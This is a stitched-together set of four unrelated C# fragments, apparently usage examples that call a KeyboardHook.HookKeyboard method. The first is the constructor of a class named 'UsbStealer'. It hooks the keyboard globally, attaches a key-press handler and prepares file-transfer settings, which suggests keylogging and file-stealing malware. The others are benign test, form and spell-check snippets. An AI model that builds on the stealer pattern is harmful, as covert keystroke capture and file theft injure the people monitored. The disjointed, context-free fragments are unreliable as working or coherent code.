public UsbStealer(NewLogMessageAppended onNewLogMessageAppended) { _keyboardHook = new KeyboardHook(); _keyboardHook.OnKeyPressed += _keyboardHook_OnKeyPressed; _keyboardHook.HookKeyboard(); OnNewLogMessageAppended += onNewLogMessageAppended; Logger.OnNewLogMessageAppended += OnOnNewLogMessageAppended; Logger.Append(new Message(Message.EventTypes.Info, "Initialized.")); FileTransferSettings = new FileTransfererSettings(); }
public void TestHook() { KeyboardHook.HookKeyboard((int nCode, IntPtr wParam, IntPtr lParam) => { Console.WriteLine("nCode:{0} wParam:{1} lParam:{2}", nCode, wParam, lParam); return(IntPtr.Zero); }); KeyboardHook.UnhookKeyboard(); }
public void AbreTela() { if (formo == true) { } else { formo = true; KeyboardHook kb = new KeyboardHook(); kb.HookKeyboard(); this.Show(); richTextBox1.Refresh(); textBox1.Refresh(); button1.Refresh(); label1.Refresh(); } }
private void frmMain_Load(object sender, EventArgs e) { InitSpellCheck(); KeyboardHook.HookKeyboard(HookKeyboardCallback); this.sysIcon.Icon = this.Icon; }